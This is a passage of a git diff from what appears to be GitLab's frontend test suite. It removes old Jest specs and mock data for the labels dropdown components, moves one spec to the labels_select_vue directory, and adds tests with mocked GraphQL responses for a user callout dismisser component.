-import mountComponent from 'helpers/vue_mount_component_helper';
-import dropdownCreateLabelComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue';
-
-import { mockSuggestedColors } from './mock_data';
-
-const createComponent = (headerTitle) => {
- const Component = Vue.extend(dropdownCreateLabelComponent);
-
- return mountComponent(Component, {
- headerTitle,
- });
-};
-
-describe('DropdownCreateLabelComponent', () => {
- const colorsCount = Object.keys(mockSuggestedColors).length;
- let vm;
-
- beforeEach(() => {
- gon.suggested_label_colors = mockSuggestedColors;
- vm = createComponent();
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('created', () => {
- it('initializes `suggestedColors` prop on component from `gon.suggested_color_labels` object', () => {
- expect(vm.suggestedColors.length).toBe(colorsCount);
- });
- });
-
- describe('template', () => {
- it('renders component container element with classes `dropdown-page-two dropdown-new-label`', () => {
- expect(vm.$el.classList.contains('dropdown-page-two', 'dropdown-new-label')).toBe(true);
- });
-
- it('renders `Go back` button on component header', () => {
- const backButtonEl = vm.$el.querySelector('.dropdown-title .dropdown-menu-back');
-
- expect(backButtonEl).not.toBe(null);
- expect(backButtonEl.querySelector('[data-testid="arrow-left-icon"]')).not.toBe(null);
- });
-
- it('renders component header element as `Create new label` when `headerTitle` prop is not provided', () => {
- const headerEl = vm.$el.querySelector('.dropdown-title');
-
- expect(headerEl.innerText.trim()).toContain('Create new label');
- });
-
- it('renders component header element with value of `headerTitle` prop', () => {
- const headerTitle = 'Create project label';
- const vmWithHeaderTitle = createComponent(headerTitle);
- const headerEl = vmWithHeaderTitle.$el.querySelector('.dropdown-title');
-
- expect(headerEl.innerText.trim()).toContain(headerTitle);
- vmWithHeaderTitle.$destroy();
- });
-
- it('renders `Close` button on component header', () => {
- const closeButtonEl = vm.$el.querySelector('.dropdown-title .dropdown-menu-close');
-
- expect(closeButtonEl).not.toBe(null);
- });
-
- it('renders `Name new label` input element', () => {
- expect(vm.$el.querySelector('.dropdown-labels-error.js-label-error')).not.toBe(null);
- expect(vm.$el.querySelector('input#new_label_name.default-dropdown-input')).not.toBe(null);
- });
-
- it('renders suggested colors list elements', () => {
- const colorsListContainerEl = vm.$el.querySelector('.suggest-colors.suggest-colors-dropdown');
-
- expect(colorsListContainerEl).not.toBe(null);
- expect(colorsListContainerEl.querySelectorAll('a').length).toBe(colorsCount);
-
- const colorItemEl = colorsListContainerEl.querySelectorAll('a')[0];
-
- expect(colorItemEl.dataset.color).toBe(vm.suggestedColors[0].colorCode);
- expect(colorItemEl.getAttribute('style')).toBe('background-color: rgb(0, 153, 102);');
- });
-
- it('renders color input element', () => {
- expect(vm.$el.querySelector('.dropdown-label-color-input')).not.toBe(null);
- expect(
- vm.$el.querySelector('.dropdown-label-color-preview.js-dropdown-label-color-preview'),
- ).not.toBe(null);
-
- expect(vm.$el.querySelector('input#new_label_color.default-dropdown-input')).not.toBe(null);
- });
-
- it('renders component action buttons', () => {
- const createBtnEl = vm.$el.querySelector('button.js-new-label-btn');
- const cancelBtnEl = vm.$el.querySelector('button.js-cancel-label-btn');
-
- expect(createBtnEl).not.toBe(null);
- expect(createBtnEl.innerText.trim()).toBe('Create');
- expect(cancelBtnEl.innerText.trim()).toBe('Cancel');
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_footer_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_footer_spec.js
deleted file mode 100644
index 7e9e242a4f5..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_footer_spec.js
+++ /dev/null
@@ -1,75 +0,0 @@
-import Vue from 'vue';
-
-import mountComponent from 'helpers/vue_mount_component_helper';
-import dropdownFooterComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_footer.vue';
-
-import { mockConfig } from './mock_data';
-
-const createComponent = (
- labelsWebUrl = mockConfig.labelsWebUrl,
- createLabelTitle,
- manageLabelsTitle,
-) => {
- const Component = Vue.extend(dropdownFooterComponent);
-
- return mountComponent(Component, {
- labelsWebUrl,
- createLabelTitle,
- manageLabelsTitle,
- });
-};
-
-describe('DropdownFooterComponent', () => {
- const createLabelTitle = 'Create project label';
- const manageLabelsTitle = 'Manage project labels';
- let vm;
-
- beforeEach(() => {
- vm = createComponent();
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('template', () => {
- it('renders link element with `Create new label` when `createLabelTitle` prop is not provided', () => {
- const createLabelEl = vm.$el.querySelector('.dropdown-footer-list .dropdown-toggle-page');
-
- expect(createLabelEl).not.toBeNull();
- expect(createLabelEl.innerText.trim()).toBe('Create new label');
- });
-
- it('renders link element with value of `createLabelTitle` prop', () => {
- const vmWithCreateLabelTitle = createComponent(mockConfig.labelsWebUrl, createLabelTitle);
- const createLabelEl = vmWithCreateLabelTitle.$el.querySelector(
- '.dropdown-footer-list .dropdown-toggle-page',
- );
-
- expect(createLabelEl.innerText.trim()).toBe(createLabelTitle);
- vmWithCreateLabelTitle.$destroy();
- });
-
- it('renders link element with `Manage labels` when `manageLabelsTitle` prop is not provided', () => {
- const manageLabelsEl = vm.$el.querySelector('.dropdown-footer-list .dropdown-external-link');
-
- expect(manageLabelsEl).not.toBeNull();
- expect(manageLabelsEl.getAttribute('href')).toBe(vm.labelsWebUrl);
- expect(manageLabelsEl.innerText.trim()).toBe('Manage labels');
- });
-
- it('renders link element with value of `manageLabelsTitle` prop', () => {
- const vmWithManageLabelsTitle = createComponent(
- mockConfig.labelsWebUrl,
- createLabelTitle,
- manageLabelsTitle,
- );
- const manageLabelsEl = vmWithManageLabelsTitle.$el.querySelector(
- '.dropdown-footer-list .dropdown-external-link',
- );
-
- expect(manageLabelsEl.innerText.trim()).toBe(manageLabelsTitle);
- vmWithManageLabelsTitle.$destroy();
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js
deleted file mode 100644
index 0b9a7262e41..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import Vue from 'vue';
-
-import mountComponent from 'helpers/vue_mount_component_helper';
-import dropdownHeaderComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_header.vue';
-
-const createComponent = () => {
- const Component = Vue.extend(dropdownHeaderComponent);
-
- return mountComponent(Component);
-};
-
-describe('DropdownHeaderComponent', () => {
- let vm;
-
- beforeEach(() => {
- vm = createComponent();
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('template', () => {
- it('renders header text element', () => {
- const headerEl = vm.$el.querySelector('.dropdown-title span');
-
- expect(headerEl.innerText.trim()).toBe('Assign labels');
- });
-
- it('renders `Close` button element', () => {
- const closeBtnEl = vm.$el.querySelector(
- '.dropdown-title button.dropdown-title-button.dropdown-menu-close',
- );
-
- expect(closeBtnEl).not.toBeNull();
- expect(closeBtnEl.querySelector('.dropdown-menu-close-icon')).not.toBeNull();
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_search_input_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_search_input_spec.js
deleted file mode 100644
index 510e537b1cd..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_search_input_spec.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import Vue from 'vue';
-
-import mountComponent from 'helpers/vue_mount_component_helper';
-import dropdownSearchInputComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_search_input.vue';
-
-const createComponent = () => {
- const Component = Vue.extend(dropdownSearchInputComponent);
-
- return mountComponent(Component);
-};
-
-describe('DropdownSearchInputComponent', () => {
- let vm;
-
- beforeEach(() => {
- vm = createComponent();
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('template', () => {
- it('renders input element with type `search`', () => {
- const inputEl = vm.$el.querySelector('input.dropdown-input-field');
-
- expect(inputEl).not.toBeNull();
- expect(inputEl.getAttribute('type')).toBe('search');
- });
-
- it('renders search icon element', () => {
- expect(vm.$el.querySelector('.dropdown-input-search')).not.toBeNull();
- });
-
- it('renders clear search icon element', () => {
- expect(vm.$el.querySelector('.dropdown-input-clear.js-dropdown-input-clear')).not.toBeNull();
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_title_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_title_spec.js
deleted file mode 100644
index 30dd92b72a4..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_title_spec.js
+++ /dev/null
@@ -1,41 +0,0 @@
-import { GlLoadingIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import dropdownTitleComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_title.vue';
-
-const createComponent = (canEdit = true) =>
- shallowMount(dropdownTitleComponent, {
- propsData: {
- canEdit,
- },
- });
-
-describe('DropdownTitleComponent', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('template', () => {
- it('renders title text', () => {
- expect(wrapper.vm.$el.classList.contains('title', 'hide-collapsed')).toBe(true);
- expect(wrapper.vm.$el.innerText.trim()).toContain('Labels');
- });
-
- it('renders spinner icon element', () => {
- expect(wrapper.find(GlLoadingIcon)).not.toBeNull();
- });
-
- it('renders `Edit` button element', () => {
- const editBtnEl = wrapper.vm.$el.querySelector('button.edit-link.js-sidebar-dropdown-toggle');
-
- expect(editBtnEl).not.toBeNull();
- expect(editBtnEl.innerText.trim()).toBe('Edit');
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js
deleted file mode 100644
index 003f3d2b4e6..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js
+++ /dev/null
@@ -1,95 +0,0 @@
-import Vue from 'vue';
-
-import mountComponent from 'helpers/vue_mount_component_helper';
-import dropdownValueCollapsedComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue';
-
-import { mockLabels } from './mock_data';
-
-const createComponent = (labels = mockLabels) => {
- const Component = Vue.extend(dropdownValueCollapsedComponent);
-
- return mountComponent(Component, {
- labels,
- });
-};
-
-describe('DropdownValueCollapsedComponent', () => {
- let vm;
-
- beforeEach(() => {
- vm = createComponent();
- });
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('computed', () => {
- describe('labelsList', () => {
- it('returns default text when `labels` prop is empty array', () => {
- const vmEmptyLabels = createComponent([]);
-
- expect(vmEmptyLabels.labelsList).toBe('Labels');
- vmEmptyLabels.$destroy();
- });
-
- it('returns labels names separated by coma when `labels` prop has more than one item', () => {
- const labels = mockLabels.concat(mockLabels);
- const vmMoreLabels = createComponent(labels);
-
- const expectedText = labels.map((label) => label.title).join(', ');
-
- expect(vmMoreLabels.labelsList).toBe(expectedText);
- vmMoreLabels.$destroy();
- });
-
- it('returns labels names separated by coma with remaining labels count and `and more` phrase when `labels` prop has more than five items', () => {
- const mockMoreLabels = Object.assign([], mockLabels);
- for (let i = 0; i < 6; i += 1) {
- mockMoreLabels.unshift(mockLabels[0]);
- }
-
- const vmMoreLabels = createComponent(mockMoreLabels);
-
- const expectedText = `${mockMoreLabels
- .slice(0, 5)
- .map((label) => label.title)
- .join(', ')}, and ${mockMoreLabels.length - 5} more`;
-
- expect(vmMoreLabels.labelsList).toBe(expectedText);
- vmMoreLabels.$destroy();
- });
-
- it('returns first label name when `labels` prop has only one item present', () => {
- const text = mockLabels.map((label) => label.title).join(', ');
-
- expect(vm.labelsList).toBe(text);
- });
- });
- });
-
- describe('methods', () => {
- describe('handleClick', () => {
- it('emits onValueClick event on component', () => {
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
- vm.handleClick();
-
- expect(vm.$emit).toHaveBeenCalledWith('onValueClick');
- });
- });
- });
-
- describe('template', () => {
- it('renders component container element with tooltip`', () => {
- expect(vm.$el.title).toBe(vm.labelsList);
- });
-
- it('renders tags icon element', () => {
- expect(vm.$el.querySelector('[data-testid="labels-icon"]')).not.toBeNull();
- });
-
- it('renders labels count', () => {
- expect(vm.$el.querySelector('span').innerText.trim()).toBe(`${vm.labels.length}`);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_spec.js
deleted file mode 100644
index 37f59c108df..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_spec.js
+++ /dev/null
@@ -1,84 +0,0 @@
-import { GlLabel } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import DropdownValueComponent from '~/vue_shared/components/sidebar/labels_select/dropdown_value.vue';
-
-import { mockConfig, mockLabels } from './mock_data';
-
-const createComponent = (
- labels = mockLabels,
- labelFilterBasePath = mockConfig.labelFilterBasePath,
-) =>
- mount(DropdownValueComponent, {
- propsData: {
- labels,
- labelFilterBasePath,
- enableScopedLabels: true,
- },
- stubs: {
- GlLabel: true,
- },
- });
-
-describe('DropdownValueComponent', () => {
- let vm;
-
- beforeEach(() => {
- vm = createComponent();
- });
-
- afterEach(() => {
- vm.destroy();
- });
-
- describe('computed', () => {
- describe('isEmpty', () => {
- it('returns true if `labels` prop is empty', () => {
- const vmEmptyLabels = createComponent([]);
-
- expect(vmEmptyLabels.classes()).not.toContain('has-labels');
- vmEmptyLabels.destroy();
- });
-
- it('returns false if `labels` prop is empty', () => {
- expect(vm.classes()).toContain('has-labels');
- });
- });
- });
-
- describe('methods', () => {
- describe('labelFilterUrl', () => {
- it('returns URL string starting with labelFilterBasePath and encoded label.title', () => {
- expect(vm.find(GlLabel).props('target')).toBe(
- '/gitlab-org/my-project/issues?label_name[]=Foo%20Label',
- );
- });
- });
-
- describe('showScopedLabels', () => {
- it('returns true if the label is scoped label', () => {
- const labels = vm.findAll(GlLabel);
- expect(labels.length).toEqual(2);
- expect(labels.at(1).props('scoped')).toBe(true);
- });
- });
- });
-
- describe('template', () => {
- it('renders component container element with classes `hide-collapsed value issuable-show-labels`', () => {
- expect(vm.classes()).toContain('hide-collapsed', 'value', 'issuable-show-labels');
- });
-
- it('render slot content inside component when `labels` prop is empty', () => {
- const vmEmptyLabels = createComponent([]);
-
- expect(vmEmptyLabels.find('.text-secondary').text().trim()).toBe(mockConfig.emptyValueText);
- vmEmptyLabels.destroy();
- });
-
- it('renders DropdownValueComponent element', () => {
- const labelEl = vm.find(GlLabel);
-
- expect(labelEl.exists()).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js b/spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js
deleted file mode 100644
index 73716d4edf3..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js
+++ /dev/null
@@ -1,57 +0,0 @@
-export const mockLabels = [
- {
- id: 26,
- title: 'Foo Label',
- description: 'Foobar',
- color: '#BADA55',
- text_color: '#FFFFFF',
- },
- {
- id: 27,
- title: 'Foo::Bar',
- description: 'Foobar',
- color: '#0033CC',
- text_color: '#FFFFFF',
- },
-];
-
-export const mockSuggestedColors = {
- '#009966': 'Green-cyan',
- '#8fbc8f': 'Dark sea green',
- '#3cb371': 'Medium sea green',
- '#00b140': 'Green screen',
- '#013220': 'Dark green',
- '#6699cc': 'Blue-gray',
- '#0000ff': 'Blue',
- '#e6e6fa': 'Lavendar',
- '#9400d3': 'Dark violet',
- '#330066': 'Deep violet',
- '#808080': 'Gray',
- '#36454f': 'Charcoal grey',
- '#f7e7ce': 'Champagne',
- '#c21e56': 'Rose red',
- '#cc338b': 'Magenta-pink',
- '#dc143c': 'Crimson',
- '#ff0000': 'Red',
- '#cd5b45': 'Dark coral',
- '#eee600': 'Titanium yellow',
- '#ed9121': 'Carrot orange',
- '#c39953': 'Aztec Gold',
-};
-
-export const mockConfig = {
- showCreate: true,
- isProject: true,
- abilityName: 'issue',
- context: {
- labels: mockLabels,
- },
- namespace: 'gitlab-org',
- updatePath: '/gitlab-org/my-project/issue/1',
- labelsPath: '/gitlab-org/my-project/-/labels.json',
- labelsWebUrl: '/gitlab-org/my-project/-/labels',
- labelFilterBasePath: '/gitlab-org/my-project/issues',
- canEdit: true,
- suggestedColors: mockSuggestedColors,
- emptyValueText: 'None',
-};
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed_spec.js
new file mode 100644
index 00000000000..8c1693e8dcc
--- /dev/null
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed_spec.js
@@ -0,0 +1,95 @@
+import Vue from 'vue';
+
+import mountComponent from 'helpers/vue_mount_component_helper';
+import dropdownValueCollapsedComponent from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed.vue';
+
+import { mockCollapsedLabels as mockLabels } from './mock_data';
+
+const createComponent = (labels = mockLabels) => {
+ const Component = Vue.extend(dropdownValueCollapsedComponent);
+
+ return mountComponent(Component, {
+ labels,
+ });
+};
+
+describe('DropdownValueCollapsedComponent', () => {
+ let vm;
+
+ beforeEach(() => {
+ vm = createComponent();
+ });
+
+ afterEach(() => {
+ vm.$destroy();
+ });
+
+ describe('computed', () => {
+ describe('labelsList', () => {
+ it('returns default text when `labels` prop is empty array', () => {
+ const vmEmptyLabels = createComponent([]);
+
+ expect(vmEmptyLabels.labelsList).toBe('Labels');
+ vmEmptyLabels.$destroy();
+ });
+
+ it('returns labels names separated by coma when `labels` prop has more than one item', () => {
+ const labels = mockLabels.concat(mockLabels);
+ const vmMoreLabels = createComponent(labels);
+
+ const expectedText = labels.map((label) => label.title).join(', ');
+
+ expect(vmMoreLabels.labelsList).toBe(expectedText);
+ vmMoreLabels.$destroy();
+ });
+
+ it('returns labels names separated by coma with remaining labels count and `and more` phrase when `labels` prop has more than five items', () => {
+ const mockMoreLabels = Object.assign([], mockLabels);
+ for (let i = 0; i < 6; i += 1) {
+ mockMoreLabels.unshift(mockLabels[0]);
+ }
+
+ const vmMoreLabels = createComponent(mockMoreLabels);
+
+ const expectedText = `${mockMoreLabels
+ .slice(0, 5)
+ .map((label) => label.title)
+ .join(', ')}, and ${mockMoreLabels.length - 5} more`;
+
+ expect(vmMoreLabels.labelsList).toBe(expectedText);
+ vmMoreLabels.$destroy();
+ });
+
+ it('returns first label name when `labels` prop has only one item present', () => {
+ const text = mockLabels.map((label) => label.title).join(', ');
+
+ expect(vm.labelsList).toBe(text);
+ });
+ });
+ });
+
+ describe('methods', () => {
+ describe('handleClick', () => {
+ it('emits onValueClick event on component', () => {
+ jest.spyOn(vm, '$emit').mockImplementation(() => {});
+ vm.handleClick();
+
+ expect(vm.$emit).toHaveBeenCalledWith('onValueClick');
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders component container element with tooltip`', () => {
+ expect(vm.$el.title).toBe(vm.labelsList);
+ });
+
+ it('renders tags icon element', () => {
+ expect(vm.$el.querySelector('[data-testid="labels-icon"]')).not.toBeNull();
+ });
+
+ it('renders labels count', () => {
+ expect(vm.$el.querySelector('span').innerText.trim()).toBe(`${vm.labels.length}`);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
index 3f00eab17b7..be849789667 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
@@ -2,12 +2,12 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import { isInViewport } from '~/lib/utils/common_utils';
-import DropdownValueCollapsed from '~/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue';
import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
import DropdownButton from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_button.vue';
import DropdownContents from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_contents.vue';
import DropdownTitle from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue';
import DropdownValue from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_value.vue';
+import DropdownValueCollapsed from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed.vue';
import LabelsSelectRoot from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
import labelsSelectModule from '~/vue_shared/components/sidebar/labels_select_vue/store';
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js
index f293b8422e7..730afcbecab 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js
@@ -33,6 +33,23 @@ export const mockLabels = [
},
];
+export const mockCollapsedLabels = [
+ {
+ id: 26,
+ title: 'Foo Label',
+ description: 'Foobar',
+ color: '#BADA55',
+ text_color: '#FFFFFF',
+ },
+ {
+ id: 27,
+ title: 'Foo::Bar',
+ description: 'Foobar',
+ color: '#0033CC',
+ text_color: '#FFFFFF',
+ },
+];
+
export const mockConfig = {
allowLabelEdit: true,
allowLabelCreate: true,
diff --git a/spec/frontend/vue_shared/components/user_callout_dismisser_mock_data.js b/spec/frontend/vue_shared/components/user_callout_dismisser_mock_data.js
new file mode 100644
index 00000000000..7ca8c619ffc
--- /dev/null
+++ b/spec/frontend/vue_shared/components/user_callout_dismisser_mock_data.js
@@ -0,0 +1,30 @@
+export const userCalloutsResponse = (callouts = []) => ({
+ data: {
+ currentUser: {
+ id: 'gid://gitlab/User/46',
+ __typename: 'UserCore',
+ callouts: {
+ __typename: 'UserCalloutConnection',
+ nodes: callouts.map((callout) => ({
+ __typename: 'UserCallout',
+ featureName: callout.toUpperCase(),
+ dismissedAt: '2021-02-12T11:10:01Z',
+ })),
+ },
+ },
+ },
+});
+
+export const anonUserCalloutsResponse = () => ({ data: { currentUser: null } });
+
+export const userCalloutMutationResponse = (variables, errors = []) => ({
+ data: {
+ userCalloutCreate: {
+ errors,
+ userCallout: {
+ featureName: variables.input.featureName.toUpperCase(),
+ dismissedAt: '2021-02-12T11:10:01Z',
+ },
+ },
+ },
+});
diff --git a/spec/frontend/vue_shared/components/user_callout_dismisser_spec.js b/spec/frontend/vue_shared/components/user_callout_dismisser_spec.js
new file mode 100644
index 00000000000..70dec42ab32
--- /dev/null
+++ b/spec/frontend/vue_shared/components/user_callout_dismisser_spec.js
@@ -0,0 +1,306 @@
+import { mount } from '@vue/test-utils';
+import { merge } from 'lodash';
+import Vue, { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import dismissUserCalloutMutation from '~/graphql_shared/mutations/dismiss_user_callout.mutation.graphql';
+import getUserCalloutsQuery from '~/graphql_shared/queries/get_user_callouts.query.graphql';
+import UserCalloutDismisser from '~/vue_shared/components/user_callout_dismisser.vue';
+import {
+ anonUserCalloutsResponse,
+ userCalloutMutationResponse,
+ userCalloutsResponse,
+} from './user_callout_dismisser_mock_data';
+
+Vue.use(VueApollo);
+
+const initialSlotProps = (changes = {}) => ({
+ dismiss: expect.any(Function),
+ isAnonUser: false,
+ isDismissed: false,
+ isLoadingQuery: true,
+ isLoadingMutation: false,
+ mutationError: null,
+ queryError: null,
+ shouldShowCallout: false,
+ ...changes,
+});
+
+describe('UserCalloutDismisser', () => {
+ let wrapper;
+
+ const MOCK_FEATURE_NAME = 'mock_feature_name';
+
+ // Query handlers
+ const successHandlerFactory = (dismissedCallouts = []) => async () =>
+ userCalloutsResponse(dismissedCallouts);
+ const anonUserHandler = async () => anonUserCalloutsResponse();
+ const errorHandler = () => Promise.reject(new Error('query error'));
+ const pendingHandler = () => new Promise(() => {});
+
+ // Mutation handlers
+ const mutationSuccessHandlerSpy = jest.fn(async (variables) =>
+ userCalloutMutationResponse(variables),
+ );
+ const mutationErrorHandlerSpy = jest.fn(async (variables) =>
+ userCalloutMutationResponse(variables, ['mutation error']),
+ );
+
+ const defaultScopedSlotSpy = jest.fn();
+
+ const callDismissSlotProp = () => defaultScopedSlotSpy.mock.calls[0][0].dismiss();
+
+ const createComponent = ({ queryHandler, mutationHandler, ...options }) => {
+ wrapper = mount(
+ UserCalloutDismisser,
+ merge(
+ {
+ propsData: {
+ featureName: MOCK_FEATURE_NAME,
+ },
+ scopedSlots: {
+ default: defaultScopedSlotSpy,
+ },
+ apolloProvider: createMockApollo([
+ [getUserCalloutsQuery, queryHandler],
+ [dismissUserCalloutMutation, mutationHandler],
+ ]),
+ },
+ options,
+ ),
+ );
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when loading', () => {
+ beforeEach(() => {
+ createComponent({
+ queryHandler: pendingHandler,
+ });
+ });
+
+ it('passes expected slot props to child', () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(initialSlotProps());
+ });
+ });
+
+ describe('when loaded and dismissed', () => {
+ beforeEach(() => {
+ createComponent({
+ queryHandler: successHandlerFactory([MOCK_FEATURE_NAME]),
+ });
+
+ return waitForPromises();
+ });
+
+ it('passes expected slot props to child', () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isDismissed: true,
+ isLoadingQuery: false,
+ }),
+ );
+ });
+ });
+
+ describe('when loaded and not dismissed', () => {
+ beforeEach(() => {
+ createComponent({
+ queryHandler: successHandlerFactory(),
+ });
+
+ return waitForPromises();
+ });
+
+ it('passes expected slot props to child', () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isLoadingQuery: false,
+ shouldShowCallout: true,
+ }),
+ );
+ });
+ });
+
+ describe('when loaded with errors', () => {
+ beforeEach(() => {
+ createComponent({
+ queryHandler: errorHandler,
+ });
+
+ return waitForPromises();
+ });
+
+ it('passes expected slot props to child', () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isLoadingQuery: false,
+ queryError: expect.any(Error),
+ }),
+ );
+ });
+ });
+
+ describe('when loaded and the user is anonymous', () => {
+ beforeEach(() => {
+ createComponent({
+ queryHandler: anonUserHandler,
+ });
+
+ return waitForPromises();
+ });
+
+ it('passes expected slot props to child', () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isAnonUser: true,
+ isLoadingQuery: false,
+ }),
+ );
+ });
+ });
+
+ describe('when skipQuery is true', () => {
+ let queryHandler;
+ beforeEach(() => {
+ queryHandler = jest.fn();
+
+ createComponent({
+ queryHandler,
+ propsData: {
+ skipQuery: true,
+ },
+ });
+ });
+
+ it('does not run the query', async () => {
+ expect(queryHandler).not.toHaveBeenCalled();
+
+ await waitForPromises();
+
+ expect(queryHandler).not.toHaveBeenCalled();
+ });
+
+ it('passes expected slot props to child', () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isLoadingQuery: false,
+ shouldShowCallout: true,
+ }),
+ );
+ });
+ });
+
+ describe('dismissing', () => {
+ describe('given it succeeds', () => {
+ beforeEach(() => {
+ createComponent({
+ queryHandler: successHandlerFactory(),
+ mutationHandler: mutationSuccessHandlerSpy,
+ });
+
+ return waitForPromises();
+ });
+
+ it('dismissing calls mutation', () => {
+ expect(mutationSuccessHandlerSpy).not.toHaveBeenCalled();
+
+ callDismissSlotProp();
+
+ expect(mutationSuccessHandlerSpy).toHaveBeenCalledWith({
+ input: { featureName: MOCK_FEATURE_NAME },
+ });
+ });
+
+ it('passes expected slot props to child', async () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isLoadingQuery: false,
+ shouldShowCallout: true,
+ }),
+ );
+
+ callDismissSlotProp();
+
+ // Wait for Vue re-render due to prop change
+ await nextTick();
+
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isDismissed: true,
+ isLoadingMutation: true,
+ isLoadingQuery: false,
+ }),
+ );
+
+ // Wait for mutation to resolve
+ await waitForPromises();
+
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isDismissed: true,
+ isLoadingQuery: false,
+ }),
+ );
+ });
+ });
+
+ describe('given it fails', () => {
+ beforeEach(() => {
+ createComponent({
+ queryHandler: successHandlerFactory(),
+ mutationHandler: mutationErrorHandlerSpy,
+ });
+
+ return waitForPromises();
+ });
+
+ it('calls mutation', () => {
+ expect(mutationErrorHandlerSpy).not.toHaveBeenCalled();
+
+ callDismissSlotProp();
+
+ expect(mutationErrorHandlerSpy).toHaveBeenCalledWith({
+ input: { featureName: MOCK_FEATURE_NAME },
+ });
+ });
+
+ it('passes expected slot props to child', async () => {
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isLoadingQuery: false,
+ shouldShowCallout: true,
+ }),
+ );
+
+ callDismissSlotProp();
+
+ // Wait for Vue re-render due to prop change
+ await nextTick();
+
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isDismissed: true,
+ isLoadingMutation: true,
+ isLoadingQuery: false,
+ }),
+ );
+
+ // Wait for mutation to resolve
+ await waitForPromises();
+
+ expect(defaultScopedSlotSpy).lastCalledWith(
+ initialSlotProps({
+ isDismissed: true,
+ isLoadingQuery: false,
+ mutationError: ['mutation error'],
